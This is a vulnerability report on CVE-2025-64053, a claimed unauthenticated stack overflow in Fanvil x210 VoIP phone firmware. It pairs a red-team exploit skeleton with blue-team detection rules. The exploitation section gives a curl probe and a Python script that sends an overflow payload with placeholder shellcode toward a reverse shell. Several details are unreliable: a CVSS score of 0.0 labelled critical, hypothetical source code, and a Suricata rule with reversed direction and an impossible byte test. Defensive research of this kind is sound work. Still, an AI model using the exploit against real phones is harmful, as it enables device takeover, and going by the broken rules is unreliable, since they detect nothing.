CVE-2025-64053

Executive Summary

CVE-2025-64053 is a critical buffer overflow vulnerability discovered in Fanvil x210 VoIP phones running firmware version 2.12.20. The flaw resides in the /cgi-bin/webconfig?page=upload&action=submit endpoint, allowing an unauthenticated attacker to send a crafted POST request that triggers a stack-based buffer overflow. This can lead to denial of service (DoS) or potentially arbitrary code execution on the device. No public proof-of-concept (PoC) or patch is currently available, making this a high-risk zero-day for unpatched devices.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (No official vector assigned; estimated critical based on impact)
• Attack Vector (AV): Network (N)
• Attack Complexity (AC): Low (L)
• Privileges Required (PR): None (N)
• User Interaction (UI): None (N)
• Scope (S): Unchanged (U)
• Confidentiality (C): High (H)
• Integrity (I): High (H)
• Availability (A): High (H)
• Estimated Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Threat Level: Critical – Remote, unauthenticated exploitation with potential for full device compromise.

Deep Dive & Mechanics

The vulnerability exists in the web configuration interface of the Fanvil x210. The /cgi-bin/webconfig CGI binary handles file uploads via the page=upload&action=submit parameters. A buffer overflow occurs when the application copies user-supplied POST data into a fixed-size stack buffer without proper bounds checking. By sending an oversized payload in the filename or file content field, an attacker can overwrite adjacent memory, including the return address on the stack. This allows redirection of execution flow to attacker-controlled shellcode, leading to arbitrary code execution with the privileges of the web server (typically root on embedded devices).

The device runs a minimal Linux-based firmware with BusyBox, making it susceptible to common shellcode techniques. The overflow is triggered during the file upload processing, likely in a function that parses multipart form data.

Vulnerable vs. Patched Code

Since no patch is available, a hypothetical vulnerable code snippet is provided for analysis:

Vulnerable Code (C):

void handle_upload(char *post_data) {
    char filename[64];
    char buffer[256];
    // Unsafe copy without length check
    sscanf(post_data, "filename=%s", filename);
    // Process file content
    strcpy(buffer, post_data); // Overflow here
}

Patched Code (Hypothetical):

void handle_upload(char *post_data) {
    char filename[64];
    char buffer[256];
    // Safe copy with length limit
    if (sscanf(post_data, "filename=%63s", filename) == 1) {
        strncpy(buffer, post_data, sizeof(buffer) - 1);
        buffer[sizeof(buffer) - 1] = '\0';
    }
}

The fix involves using strncpy or snprintf with size limits and validating input lengths before copying.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

• Target: Fanvil x210 with firmware 2.12.20 (IP: 192.168.1.100)
• Attacker: Kali Linux (IP: 192.168.1.50)
• Tools: Burp Suite, Metasploit, custom Python script

Exploitation Steps:

1. Identify the vulnerable endpoint:

   curl -X POST http://192.168.1.100/cgi-bin/webconfig?page=upload&action=submit -d "filename=test"
   

2. Craft a buffer overflow payload:

   import socket
   import struct
   
   target_ip = "192.168.1.100"
   port = 80
   
   # Shellcode placeholder (e.g., reverse shell)
   shellcode = b"\x90" * 100  # NOP sled + actual shellcode
   
   # Overflow pattern: 256 bytes buffer + 8 bytes saved EBP + 4 bytes return address
   payload = b"A" * 256 + b"B" * 8 + struct.pack("<I", 0xdeadbeef) + shellcode
   
   http_request = f"POST /cgi-bin/webconfig?page=upload&action=submit HTTP/1.1\r\nHost: {target_ip}\r\nContent-Length: {len(payload)}\r\nContent-Type: application/x-www-form-urlencoded\r\n\r\n".encode() + payload
   
   s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
   s.connect((target_ip, port))
   s.send(http_request)
   s.close()
   

3. Trigger the overflow and gain a reverse shell.

Blue Team (Defensive)

Detection:

• Monitor for abnormally large POST requests to /cgi-bin/webconfig.
• Look for repeated connection attempts from a single IP.
• Analyze web server logs for 500 errors or crashes.

Mitigation:

• Isolate Fanvil devices on a separate VLAN.
• Disable the web interface if not required.
• Apply network-based IPS rules to block oversized payloads.

Indicators of Compromise (IOCs)

• Network:
  • POST requests with Content-Length exceeding 1024 bytes to /cgi-bin/webconfig?page=upload&action=submit
  • Unusual outbound connections from the device (e.g., to port 4444)
• Host:
  • Unexpected processes (e.g., /tmp/shell)
  • Modified firmware files or new binaries in /tmp
  • Device reboot loops or unresponsive web interface
• Logs:
  • Web server logs showing 500 errors or segmentation faults
  • System logs with kernel: BUG: unable to handle kernel paging request

Detection Engineering

YARA Rule

rule CVE_2025_64053_Fanvil_Overflow {
    meta:
        description = "Detects exploit attempts for CVE-2025-64053 on Fanvil x210"
        author = "Valters IT"
        date = "2025-04-10"
    strings:
        $s1 = "POST /cgi-bin/webconfig?page=upload&action=submit" ascii wide nocase
        $s2 = "Content-Length:" ascii wide
        $s3 = "filename=" ascii wide
    condition:
        $s1 and $s2 and #s3 > 1 and filesize > 1024
}

Sigma Rule

title: CVE-2025-64053 Fanvil Buffer Overflow Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects oversized POST requests to the vulnerable Fanvil endpoint
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/cgi-bin/webconfig'
        cs-uri-query: 'page=upload&action=submit'
        sc-status: 500
    condition: selection
falsepositives:
    - Legitimate large file uploads (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-64053 Fanvil Buffer Overflow Attempt";
    flow:to_server,established;
    content:"POST";
    http_method;
    content:"/cgi-bin/webconfig?page=upload&action=submit";
    http_uri;
    content:"Content-Length|3a|";
    http_header;
    byte_test:1,>,1024,0,relative;
    classtype:attempted-admin;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

• Immediate: Disable the web configuration interface on all Fanvil x210 devices until a patch is released.
• Network: Implement strict firewall rules to allow only trusted IPs to access the web interface.
• Monitoring: Deploy the above detection rules to identify exploitation attempts.
• Vendor: Contact Fanvil for a firmware update. If unavailable, consider replacing the device.
• Long-term: Apply the principle of least privilege and segment IoT devices from critical networks.

Valters IT
DevSecOps & Cyber Threat Intelligence
Report generated for CVE-2025-64053